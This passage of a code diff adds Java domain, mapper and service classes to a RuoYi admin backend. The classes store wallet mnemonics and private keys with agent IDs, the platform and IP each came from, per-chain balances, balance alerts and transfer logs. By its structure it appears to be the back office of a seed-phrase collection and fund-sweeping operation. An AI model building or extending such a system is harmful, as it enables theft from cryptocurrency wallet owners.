+        return mnemonic;
+    }
+    public void setCreatedTime(Long createdTime) 
+    {
+        this.createdTime = createdTime;
+    }
+
+    public Long getCreatedTime() 
+    {
+        return createdTime;
+    }
+    public void setUpdatedTime(Long updatedTime) 
+    {
+        this.updatedTime = updatedTime;
+    }
+
+    public Long getUpdatedTime() 
+    {
+        return updatedTime;
+    }
+    public void setDeletedTime(Long deletedTime) 
+    {
+        this.deletedTime = deletedTime;
+    }
+
+    public Long getDeletedTime() 
+    {
+        return deletedTime;
+    }
+    public void setStatus(Integer status) 
+    {
+        this.status = status;
+    }
+
+    public Integer getStatus() 
+    {
+        return status;
+    }
+    public void setPlatform(String platform) 
+    {
+        this.platform = platform;
+    }
+
+    public String getPlatform() 
+    {
+        return platform;
+    }
+    public void setSort(Integer sort) 
+    {
+        this.sort = sort;
+    }
+
+    public Integer getSort() 
+    {
+        return sort;
+    }
+    public void setIp(String ip) 
+    {
+        this.ip = ip;
+    }
+
+    public String getIp() 
+    {
+        return ip;
+    }
+    public void setIpCount(Integer ipCount) 
+    {
+        this.ipCount = ipCount;
+    }
+
+    public Integer getIpCount() 
+    {
+        return ipCount;
+    }
+    public void setEth(BigDecimal eth) 
+    {
+        this.eth = eth;
+    }
+
+    public BigDecimal getEth() 
+    {
+        return eth;
+    }
+    public void setErc(BigDecimal erc) 
+    {
+        this.erc = erc;
+    }
+
+    public BigDecimal getErc() 
+    {
+        return erc;
+    }
+    public void setTrx(BigDecimal trx) 
+    {
+        this.trx = trx;
+    }
+
+    public BigDecimal getTrx() 
+    {
+        return trx;
+    }
+    public void setTrc(BigDecimal trc) 
+    {
+        this.trc = trc;
+    }
+
+    public BigDecimal getTrc() 
+    {
+        return trc;
+    }
+    public void setBtc(BigDecimal btc) 
+    {
+        this.btc = btc;
+    }
+
+    public BigDecimal getBtc() 
+    {
+        return btc;
+    }
+    public void setOmni(BigDecimal omni) 
+    {
+        this.omni = omni;
+    }
+
+    public BigDecimal getOmni() 
+    {
+        return omni;
+    }
+    public void setBnb(BigDecimal bnb) 
+    {
+        this.bnb = bnb;
+    }
+
+    public BigDecimal getBnb() 
+    {
+        return bnb;
+    }
+    public void setBep(BigDecimal bep) 
+    {
+        this.bep = bep;
+    }
+
+    public BigDecimal getBep() 
+    {
+        return bep;
+    }
+
+    public List gettokenlist(){
+        return tokenlist;
+    }
+    public void settokenlist(List tokenlist){
+        this.tokenlist=tokenlist;
+    }
+
+    public Long getcurrentagentid(){
+        try{
+            return ShiroUtils.getSysUser().getAgentId();
+        }catch (Exception e){
+
+        }
+       return Long.valueOf(100);
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+                .append("currentagentid", getcurrentagentid())
+                .append("device", getdevice())
+            .append("agentid", getAgentid())
+            .append("mnemonic", getMnemonic())
+            .append("createdTime", getCreatedTime())
+            .append("updatedTime", getUpdatedTime())
+            .append("deletedTime", getDeletedTime())
+            .append("status", getStatus())
+            .append("remark", getRemark())
+            .append("platform", getPlatform())
+            .append("sort", getSort())
+            .append("ip", getIp())
+            .append("ipCount", getIpCount())
+            .append("eth", getEth())
+            .append("erc", getErc())
+            .append("trx", getTrx())
+            .append("trc", getTrc())
+            .append("btc", getBtc())
+            .append("omni", getOmni())
+            .append("bnb", getBnb())
+            .append("bep", getBep())
+            .toString();
+    }
+}

+ 251 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysMnemonicToken.java

@@ -0,0 +1,251 @@
+package com.ruoyi.system.domain;
+
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+import com.ruoyi.common.core.domain.entity.SysUser;
+import com.ruoyi.common.utils.ShiroUtils;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+import java.math.BigDecimal;
+
+/**
+ * 代币对象 sys_mnemonic_token
+ * 
+ * @author lanbing
+ * @date 2023-03-24
+ */
+public class SysMnemonicToken extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    @Excel(name = "索引id")
+    private Long id;
+
+    /** 代理商id */
+    @Excel(name = "代理商id")
+    private Integer agentid;
+
+    /** 助记词id */
+    @Excel(name = "助记词id")
+    private Long mnemonicid;
+
+    /** 区块链 */
+    @Excel(name = "区块链")
+    private String chain;
+
+    /** 代币 */
+    @Excel(name = "代币")
+    private String token;
+
+    /** 地址 */
+    @Excel(name = "地址")
+    private String address;
+
+    /** 余额 */
+    @Excel(name = "余额")
+    private BigDecimal balance;
+
+
+
+    private BigDecimal zzbalance;
+    /** 创建时间 */
+    @Excel(name = "创建时间")
+    private Long createdTime;
+
+    /** 更新时间 */
+    private Long updatedTime;
+
+    /** 删除时间 */
+    private Long deletedTime;
+
+    /** 排序方式 */
+    private String sort;
+
+    /** 名称 */
+    @Excel(name = "名称")
+    private String platform;
+
+    /** 私钥 */
+    @Excel(name = "私钥")
+    private String privatekey;
+
+
+
+    /** 预警阀值 */
+    private BigDecimal yjbalance;
+
+
+    public void setprivatekey(String privatekey)
+    {
+        this.privatekey = privatekey;
+    }
+
+    public String getprivatekey()
+    {
+        return privatekey;
+    }
+
+
+    public void setPlatform(String platform)
+    {
+        this.platform = platform;
+    }
+
+    public String getPlatform()
+    {
+        return platform;
+    }
+
+    public void setyjbalance(BigDecimal yjbalance)
+    {
+        this.yjbalance = yjbalance;
+    }
+
+    public BigDecimal getyjbalance()
+    {
+        return yjbalance;
+    }
+
+
+    public void setsort(String sort)
+    {
+        this.sort = sort;
+    }
+
+    public String getsort()
+    {
+        return sort;
+    }
+
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setAgentid(Integer agentid) 
+    {
+        this.agentid = agentid;
+    }
+
+    public Integer getAgentid() 
+    {
+        return agentid;
+    }
+    public void setMnemonicid(Long mnemonicid) 
+    {
+        this.mnemonicid = mnemonicid;
+    }
+
+    public Long getMnemonicid() 
+    {
+        return mnemonicid;
+    }
+    public void setChain(String chain) 
+    {
+        this.chain = chain;
+    }
+
+    public String getChain() 
+    {
+        return chain;
+    }
+    public void setToken(String token) 
+    {
+        this.token = token;
+    }
+
+    public String getToken() 
+    {
+        return token;
+    }
+    public void setAddress(String address) 
+    {
+        this.address = address;
+    }
+
+    public String getAddress() 
+    {
+        return address;
+    }
+    public void setBalance(BigDecimal balance) 
+    {
+        this.balance = balance;
+    }
+
+    public BigDecimal getBalance() 
+    {
+        return balance;
+    }
+
+    public void setzzbalance(BigDecimal zzbalance)
+    {
+        this.zzbalance = zzbalance;
+    }
+
+    public BigDecimal getzzbalance()
+    {
+        return zzbalance;
+    }
+
+
+    public void setCreatedTime(Long createdTime) 
+    {
+        this.createdTime = createdTime;
+    }
+
+    public Long getCreatedTime() 
+    {
+        return createdTime;
+    }
+    public void setUpdatedTime(Long updatedTime) 
+    {
+        this.updatedTime = updatedTime;
+    }
+
+    public Long getUpdatedTime() 
+    {
+        return updatedTime;
+    }
+    public void setDeletedTime(Long deletedTime) 
+    {
+        this.deletedTime = deletedTime;
+    }
+
+    public Long getDeletedTime() 
+    {
+        return deletedTime;
+    }
+
+    public Long getcurrentagentid(){
+        SysUser sysur3= ShiroUtils.getSysUser();
+        return sysur3.getAgentId();
+    }
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+                .append("currentagentid", getcurrentagentid())
+                .append("sort", getsort())
+                .append("yjbalance", getyjbalance())
+                .append("platform", getPlatform())
+                .append("privatekey", getprivatekey())
+                .append("zzbalance", getzzbalance())
+            .append("agentid", getAgentid())
+            .append("mnemonicid", getMnemonicid())
+            .append("chain", getChain())
+            .append("token", getToken())
+            .append("address", getAddress())
+            .append("balance", getBalance())
+            .append("createdTime", getCreatedTime())
+            .append("updatedTime", getUpdatedTime())
+            .append("deletedTime", getDeletedTime())
+            .toString();
+    }
+}

+ 65 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysMnemonicTokenPrivatekey.java

@@ -0,0 +1,65 @@
+package com.ruoyi.system.domain;
+
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+/**
+ * 助记词私钥对象 sys_mnemonic_token_privatekey
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+public class SysMnemonicTokenPrivatekey extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    private Long id;
+
+    /** 私钥 */
+    @Excel(name = "私钥")
+    private String privatekey;
+
+    /** 创建时间 */
+    @Excel(name = "创建时间")
+    private Long createdTime;
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setPrivatekey(String privatekey) 
+    {
+        this.privatekey = privatekey;
+    }
+
+    public String getPrivatekey() 
+    {
+        return privatekey;
+    }
+    public void setCreatedTime(Long createdTime) 
+    {
+        this.createdTime = createdTime;
+    }
+
+    public Long getCreatedTime() 
+    {
+        return createdTime;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+            .append("privatekey", getPrivatekey())
+            .append("createdTime", getCreatedTime())
+            .toString();
+    }
+}

+ 137 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysPublicConfig.java

@@ -0,0 +1,137 @@
+package com.ruoyi.system.domain;
+
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+import java.math.BigDecimal;
+
+/**
+ * 全局设置对象 sys_public_config
+ * 
+ * @author ruoyi
+ * @date 2023-03-26
+ */
+public class SysPublicConfig extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    private Long id;
+
+    /** 钱包余额预警 */
+    @Excel(name = "钱包余额预警")
+    private BigDecimal trx;
+
+    /** 钱包余额预警 */
+    @Excel(name = "钱包余额预警")
+    private BigDecimal trc;
+
+    /** 钱包余额预警 */
+    @Excel(name = "钱包余额预警")
+    private BigDecimal eth;
+
+    /** 钱包余额预警 */
+    @Excel(name = "钱包余额预警")
+    private BigDecimal erc;
+
+    /** 钱包余额预警 */
+    @Excel(name = "钱包余额预警")
+    private BigDecimal btc;
+
+    /** 钱包余额预警 */
+    @Excel(name = "钱包余额预警")
+    private BigDecimal bnb;
+
+    /** 钱包余额预警 */
+    @Excel(name = "钱包余额预警")
+    private BigDecimal bep;
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setTrx(BigDecimal trx) 
+    {
+        this.trx = trx;
+    }
+
+    public BigDecimal getTrx() 
+    {
+        return trx;
+    }
+    public void setTrc(BigDecimal trc) 
+    {
+        this.trc = trc;
+    }
+
+    public BigDecimal getTrc() 
+    {
+        return trc;
+    }
+    public void setEth(BigDecimal eth) 
+    {
+        this.eth = eth;
+    }
+
+    public BigDecimal getEth() 
+    {
+        return eth;
+    }
+    public void setErc(BigDecimal erc) 
+    {
+        this.erc = erc;
+    }
+
+    public BigDecimal getErc() 
+    {
+        return erc;
+    }
+    public void setBtc(BigDecimal btc) 
+    {
+        this.btc = btc;
+    }
+
+    public BigDecimal getBtc() 
+    {
+        return btc;
+    }
+    public void setBnb(BigDecimal bnb) 
+    {
+        this.bnb = bnb;
+    }
+
+    public BigDecimal getBnb() 
+    {
+        return bnb;
+    }
+    public void setBep(BigDecimal bep) 
+    {
+        this.bep = bep;
+    }
+
+    public BigDecimal getBep() 
+    {
+        return bep;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+            .append("trx", getTrx())
+            .append("trc", getTrc())
+            .append("eth", getEth())
+            .append("erc", getErc())
+            .append("btc", getBtc())
+            .append("bnb", getBnb())
+            .append("bep", getBep())
+            .toString();
+    }
+}

+ 153 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysTransferLog.java

@@ -0,0 +1,153 @@
+package com.ruoyi.system.domain;
+
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+import java.math.BigDecimal;
+
+/**
+ * 钱包转账对象 sys_transfer_log
+ * 
+ * @author ruoyi
+ * @date 2023-03-27
+ */
+public class SysTransferLog extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    @Excel(name = "索引id")
+    private Long id;
+
+    /** 代理商id */
+    @Excel(name = "代理商id")
+    private Long agentid;
+
+    /** 钱包名称 */
+    @Excel(name = "钱包名称")
+    private String token;
+
+    /** 钱包地址 */
+    @Excel(name = "钱包地址")
+    private String fromaddress;
+
+    /** 钱包私钥 */
+    @Excel(name = "钱包私钥")
+    private String fromprivateaddress;
+
+    /** 提现类型1最高优先级2普通优先级 */
+    @Excel(name = "提现类型1最高优先级2普通优先级")
+    private Integer txtype;
+
+    /** 转账地址 */
+    @Excel(name = "转账地址")
+    private String toaddress;
+
+    /** 转账金额 */
+    @Excel(name = "转账金额")
+    private BigDecimal money;
+
+    /** 提现id */
+    @Excel(name = "提现id")
+    private String txid;
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setAgentid(Long agentid) 
+    {
+        this.agentid = agentid;
+    }
+
+    public Long getAgentid() 
+    {
+        return agentid;
+    }
+    public void setToken(String token) 
+    {
+        this.token = token;
+    }
+
+    public String getToken() 
+    {
+        return token;
+    }
+    public void setFromaddress(String fromaddress) 
+    {
+        this.fromaddress = fromaddress;
+    }
+
+    public String getFromaddress() 
+    {
+        return fromaddress;
+    }
+    public void setFromprivateaddress(String fromprivateaddress) 
+    {
+        this.fromprivateaddress = fromprivateaddress;
+    }
+
+    public String getFromprivateaddress() 
+    {
+        return fromprivateaddress;
+    }
+    public void setTxtype(Integer txtype) 
+    {
+        this.txtype = txtype;
+    }
+
+    public Integer getTxtype() 
+    {
+        return txtype;
+    }
+    public void setToaddress(String toaddress) 
+    {
+        this.toaddress = toaddress;
+    }
+
+    public String getToaddress() 
+    {
+        return toaddress;
+    }
+    public void setMoney(BigDecimal money) 
+    {
+        this.money = money;
+    }
+
+    public BigDecimal getMoney() 
+    {
+        return money;
+    }
+    public void setTxid(String txid) 
+    {
+        this.txid = txid;
+    }
+
+    public String getTxid() 
+    {
+        return txid;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+            .append("agentid", getAgentid())
+            .append("token", getToken())
+            .append("fromaddress", getFromaddress())
+            .append("fromprivateaddress", getFromprivateaddress())
+            .append("txtype", getTxtype())
+            .append("toaddress", getToaddress())
+            .append("money", getMoney())
+            .append("txid", getTxid())
+            .append("createTime", getCreateTime())
+            .toString();
+    }
+}

+ 66 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/domain/SysWriteip.java

@@ -0,0 +1,66 @@
+package com.ruoyi.system.domain;
+
+import com.ruoyi.common.annotation.Excel;
+import com.ruoyi.common.core.domain.BaseEntity;
+import org.apache.commons.lang3.builder.ToStringBuilder;
+import org.apache.commons.lang3.builder.ToStringStyle;
+
+/**
+ * 后台登录白名单对象 sys_writeip
+ * 
+ * @author ruoyi
+ * @date 2023-03-31
+ */
+public class SysWriteip extends BaseEntity
+{
+    private static final long serialVersionUID = 1L;
+
+    /** 索引id */
+    private Long id;
+
+    /** ip地址 */
+    @Excel(name = "ip地址")
+    private String ip;
+
+    /** 创建时间 */
+    @Excel(name = "创建时间")
+    private Long createdTime;
+
+    public void setId(Long id) 
+    {
+        this.id = id;
+    }
+
+    public Long getId() 
+    {
+        return id;
+    }
+    public void setIp(String ip) 
+    {
+        this.ip = ip;
+    }
+
+    public String getIp() 
+    {
+        return ip;
+    }
+    public void setCreatedTime(Long createdTime) 
+    {
+        this.createdTime = createdTime;
+    }
+
+    public Long getCreatedTime() 
+    {
+        return createdTime;
+    }
+
+    @Override
+    public String toString() {
+        return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE)
+            .append("id", getId())
+            .append("ip", getIp())
+            .append("remark", getRemark())
+            .append("createdTime", getCreatedTime())
+            .toString();
+    }
+}

+ 62 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysBlackipMapper.java

@@ -0,0 +1,62 @@
+package com.ruoyi.system.mapper;
+
+import com.ruoyi.system.domain.SysBlackip;
+
+import java.util.List;
+
+/**
+ * IP黑名单Mapper接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-25
+ */
+public interface SysBlackipMapper 
+{
+    /**
+     * 查询IP黑名单
+     * 
+     * @param id IP黑名单主键
+     * @return IP黑名单
+     */
+    public SysBlackip selectSysBlackipById(Long id);
+
+    /**
+     * 查询IP黑名单列表
+     * 
+     * @param sysBlackip IP黑名单
+     * @return IP黑名单集合
+     */
+    public List<SysBlackip> selectSysBlackipList(SysBlackip sysBlackip);
+
+    /**
+     * 新增IP黑名单
+     * 
+     * @param sysBlackip IP黑名单
+     * @return 结果
+     */
+    public int insertSysBlackip(SysBlackip sysBlackip);
+
+    /**
+     * 修改IP黑名单
+     * 
+     * @param sysBlackip IP黑名单
+     * @return 结果
+     */
+    public int updateSysBlackip(SysBlackip sysBlackip);
+
+    /**
+     * 删除IP黑名单
+     * 
+     * @param id IP黑名单主键
+     * @return 结果
+     */
+    public int deleteSysBlackipById(Long id);
+
+    /**
+     * 批量删除IP黑名单
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysBlackipByIds(String[] ids);
+}

+ 104 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysMnemonicMapper.java

@@ -0,0 +1,104 @@
+package com.ruoyi.system.mapper;
+
+import com.ruoyi.system.domain.SysMnemonic;
+import org.apache.ibatis.annotations.Param;
+
+import java.util.List;
+
+/**
+ * 助记词Mapper接口
+ * 
+ * @author lanbing
+ * @date 2023-03-23
+ */
+public interface SysMnemonicMapper 
+{
+    /**
+     * 查询助记词
+     * 
+     * @param id 助记词主键
+     * @return 助记词
+     */
+    public SysMnemonic selectSysMnemonicById(Long id);
+
+    /**
+     * 查询助记词列表
+     * 
+     * @param sysMnemonic 助记词
+     * @return 助记词集合
+     */
+    public List<SysMnemonic> selectSysMnemonicList(SysMnemonic sysMnemonic);
+
+    public List<SysMnemonic> selectSysMnemonicListdel(SysMnemonic sysMnemonic);
+
+    /**
+     * 排序
+     *
+     * @param status 助记词
+     * @return 助记词集合
+     */
+    public List<SysMnemonic> selectSysMnemonicListbysort(@Param("currentagentid") Long currentagentid, @Param("status")  int status);
+
+    public List<SysMnemonic> selectSysMnemonicListbysortdel(@Param("currentagentid") Long currentagentid, @Param("status")  int status);
+
+    /**
+     * 新增助记词
+     * 
+     * @param sysMnemonic 助记词
+     * @return 结果
+     */
+    public int insertSysMnemonic(SysMnemonic sysMnemonic);
+
+    /**
+     * 修改助记词
+     * 
+     * @param sysMnemonic 助记词
+     * @return 结果
+     */
+    public int updateSysMnemonic(SysMnemonic sysMnemonic);
+
+    /**
+     * 删除助记词
+     * 
+     * @param id 助记词主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicById(Long id);
+
+    /**
+     * 批量删除助记词
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicByIds(String[] ids);
+
+    public int deleteSysMnemonictokenajaxByIds(String[] ids);
+
+    /**
+     * 统计助记词数据
+     *
+     * @param type 统计助记词数据
+     * @return 结果
+     */
+    public String selectSysMnemonicCount(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid);
+
+    /**
+     * 统计助记词数据
+     *
+     * @param type 统计助记词数据
+     * @return 结果
+     */
+    public String selectSysMnemonicSum(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid);
+
+
+
+    public String selectSysMnemonicCountIp(@Param("ip") String ip);
+
+
+    public String selectSysMnemonicSum95001(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid);
+    public String selectSysMnemonicSum95002(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid);
+
+    public List<SysMnemonic> selectyjbalancefrompublic(@Param("token") String token, @Param("balance") String balance, @Param("agentid") String agentid);
+
+}

+ 101 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysMnemonicTokenMapper.java

@@ -0,0 +1,101 @@
+package com.ruoyi.system.mapper;
+
+import com.ruoyi.system.domain.SysMnemonicToken;
+import org.apache.ibatis.annotations.Param;
+
+import java.util.List;
+
+/**
+ * 代币Mapper接口
+ * 
+ * @author lanbing
+ * @date 2023-03-24
+ */
+public interface SysMnemonicTokenMapper 
+{
+    /**
+     * 查询代币
+     * 
+     * @param id 代币主键
+     * @return 代币
+     */
+    public SysMnemonicToken selectSysMnemonicTokenById(Long id);
+
+    /**
+     * 查询代币列表
+     * 
+     * @param sysMnemonicToken 代币
+     * @return 代币集合
+     */
+    public List<SysMnemonicToken> selectSysMnemonicTokenList(SysMnemonicToken sysMnemonicToken);
+
+
+    /**
+     * 通过助记词查询代币
+     *
+     * @param mnemonicid 助记词id
+     * @return 代币集合
+     */
+    public List<SysMnemonicToken> selectSysMnemonicBymnemonicId(Long mnemonicid);
+
+    /**
+     * 通过地址查找助记词id
+     *
+     * @param address 钱包地址
+     * @return 代币集合
+     */
+    public List<SysMnemonicToken> selectSysMnemonicByaddress(@Param("currentagentid") Long currentagentid, @Param("address") String address);
+
+
+    public List<SysMnemonicToken> selectSysMnemonicByaddressdel(@Param("currentagentid") Long currentagentid, @Param("address") String address);
+
+    /**
+     * 新增代币
+     * 
+     * @param sysMnemonicToken 代币
+     * @return 结果
+     */
+    public int insertSysMnemonicToken(SysMnemonicToken sysMnemonicToken);
+
+    /**
+     * 修改代币
+     * 
+     * @param sysMnemonicToken 代币
+     * @return 结果
+     */
+    public int updateSysMnemonicToken(SysMnemonicToken sysMnemonicToken);
+
+    /**
+     * 删除代币
+     * 
+     * @param id 代币主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenById(Long id);
+
+    /**
+     * 批量删除代币
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenByIds(String[] ids);
+
+    /**
+     * 统计token数据
+     *
+     * @param type 统计助记词数据
+     * @return 结果
+     */
+    public String selectSysMnemonicTokenCount(@Param("type") String type,@Param("platform") String platform,@Param("agentid") String agentid);
+
+
+    public List<SysMnemonicToken> selectyjbalancefromstand(@Param("agentid") String agentid);
+
+
+    public int deleteSysMnemonicTokenByMnemonicId(Long id);
+
+
+    public List<SysMnemonicToken> selectSysMnemonicTokenTaskSingleList(@Param("token") String token);
+
+}

+ 62 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysMnemonicTokenPrivatekeyMapper.java

@@ -0,0 +1,62 @@
+package com.ruoyi.system.mapper;
+
+import com.ruoyi.system.domain.SysMnemonicTokenPrivatekey;
+
+import java.util.List;
+
+/**
+ * 助记词私钥Mapper接口
+ * 
+ * @author lanbing
+ * @date 2023-03-25
+ */
+public interface SysMnemonicTokenPrivatekeyMapper 
+{
+    /**
+     * 查询助记词私钥
+     * 
+     * @param id 助记词私钥主键
+     * @return 助记词私钥
+     */
+    public SysMnemonicTokenPrivatekey selectSysMnemonicTokenPrivatekeyById(Long id);
+
+    /**
+     * 查询助记词私钥列表
+     * 
+     * @param sysMnemonicTokenPrivatekey 助记词私钥
+     * @return 助记词私钥集合
+     */
+    public List<SysMnemonicTokenPrivatekey> selectSysMnemonicTokenPrivatekeyList(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey);
+
+    /**
+     * 新增助记词私钥
+     * 
+     * @param sysMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    public int insertSysMnemonicTokenPrivatekey(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey);
+
+    /**
+     * 修改助记词私钥
+     * 
+     * @param sysMnemonicTokenPrivatekey 助记词私钥
+     * @return 结果
+     */
+    public int updateSysMnemonicTokenPrivatekey(SysMnemonicTokenPrivatekey sysMnemonicTokenPrivatekey);
+
+    /**
+     * 删除助记词私钥
+     * 
+     * @param id 助记词私钥主键
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenPrivatekeyById(Long id);
+
+    /**
+     * 批量删除助记词私钥
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysMnemonicTokenPrivatekeyByIds(String[] ids);
+}

+ 62 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysPublicConfigMapper.java

@@ -0,0 +1,62 @@
+package com.ruoyi.system.mapper;
+
+import com.ruoyi.system.domain.SysPublicConfig;
+
+import java.util.List;
+
+/**
+ * 全局设置Mapper接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-26
+ */
+public interface SysPublicConfigMapper 
+{
+    /**
+     * 查询全局设置
+     * 
+     * @param id 全局设置主键
+     * @return 全局设置
+     */
+    public SysPublicConfig selectSysPublicConfigById(Long id);
+
+    /**
+     * 查询全局设置列表
+     * 
+     * @param sysPublicConfig 全局设置
+     * @return 全局设置集合
+     */
+    public List<SysPublicConfig> selectSysPublicConfigList(SysPublicConfig sysPublicConfig);
+
+    /**
+     * 新增全局设置
+     * 
+     * @param sysPublicConfig 全局设置
+     * @return 结果
+     */
+    public int insertSysPublicConfig(SysPublicConfig sysPublicConfig);
+
+    /**
+     * 修改全局设置
+     * 
+     * @param sysPublicConfig 全局设置
+     * @return 结果
+     */
+    public int updateSysPublicConfig(SysPublicConfig sysPublicConfig);
+
+    /**
+     * 删除全局设置
+     * 
+     * @param id 全局设置主键
+     * @return 结果
+     */
+    public int deleteSysPublicConfigById(Long id);
+
+    /**
+     * 批量删除全局设置
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysPublicConfigByIds(String[] ids);
+}

+ 62 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysTransferLogMapper.java

@@ -0,0 +1,62 @@
+package com.ruoyi.system.mapper;
+
+import com.ruoyi.system.domain.SysTransferLog;
+
+import java.util.List;
+
+/**
+ * 钱包转账Mapper接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-27
+ */
+public interface SysTransferLogMapper 
+{
+    /**
+     * 查询钱包转账
+     * 
+     * @param id 钱包转账主键
+     * @return 钱包转账
+     */
+    public SysTransferLog selectSysTransferLogById(Long id);
+
+    /**
+     * 查询钱包转账列表
+     * 
+     * @param sysTransferLog 钱包转账
+     * @return 钱包转账集合
+     */
+    public List<SysTransferLog> selectSysTransferLogList(SysTransferLog sysTransferLog);
+
+    /**
+     * 新增钱包转账
+     * 
+     * @param sysTransferLog 钱包转账
+     * @return 结果
+     */
+    public int insertSysTransferLog(SysTransferLog sysTransferLog);
+
+    /**
+     * 修改钱包转账
+     * 
+     * @param sysTransferLog 钱包转账
+     * @return 结果
+     */
+    public int updateSysTransferLog(SysTransferLog sysTransferLog);
+
+    /**
+     * 删除钱包转账
+     * 
+     * @param id 钱包转账主键
+     * @return 结果
+     */
+    public int deleteSysTransferLogById(Long id);
+
+    /**
+     * 批量删除钱包转账
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysTransferLogByIds(String[] ids);
+}

+ 62 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/mapper/SysWriteipMapper.java

@@ -0,0 +1,62 @@
+package com.ruoyi.system.mapper;
+
+import com.ruoyi.system.domain.SysWriteip;
+
+import java.util.List;
+
+/**
+ * 后台登录白名单Mapper接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-31
+ */
+public interface SysWriteipMapper 
+{
+    /**
+     * 查询后台登录白名单
+     * 
+     * @param id 后台登录白名单主键
+     * @return 后台登录白名单
+     */
+    public SysWriteip selectSysWriteipById(Long id);
+
+    /**
+     * 查询后台登录白名单列表
+     * 
+     * @param sysWriteip 后台登录白名单
+     * @return 后台登录白名单集合
+     */
+    public List<SysWriteip> selectSysWriteipList(SysWriteip sysWriteip);
+
+    /**
+     * 新增后台登录白名单
+     * 
+     * @param sysWriteip 后台登录白名单
+     * @return 结果
+     */
+    public int insertSysWriteip(SysWriteip sysWriteip);
+
+    /**
+     * 修改后台登录白名单
+     * 
+     * @param sysWriteip 后台登录白名单
+     * @return 结果
+     */
+    public int updateSysWriteip(SysWriteip sysWriteip);
+
+    /**
+     * 删除后台登录白名单
+     * 
+     * @param id 后台登录白名单主键
+     * @return 结果
+     */
+    public int deleteSysWriteipById(Long id);
+
+    /**
+     * 批量删除后台登录白名单
+     * 
+     * @param ids 需要删除的数据主键集合
+     * @return 结果
+     */
+    public int deleteSysWriteipByIds(String[] ids);
+}

+ 62 - 0
ruoyi-admin/src/main/java/com/ruoyi/system/service/ISysBlackipService.java

@@ -0,0 +1,62 @@
+package com.ruoyi.system.service;
+
+import com.ruoyi.system.domain.SysBlackip;
+
+import java.util.List;
+
+/**
+ * IP黑名单Service接口
+ * 
+ * @author ruoyi
+ * @date 2023-03-25
+ */
+public interface ISysBlackipService 
+{
+    /**
+     * 查询IP黑名单
+     * 
+     * @param id IP黑名单主键
+     * @return IP黑名单
+     */
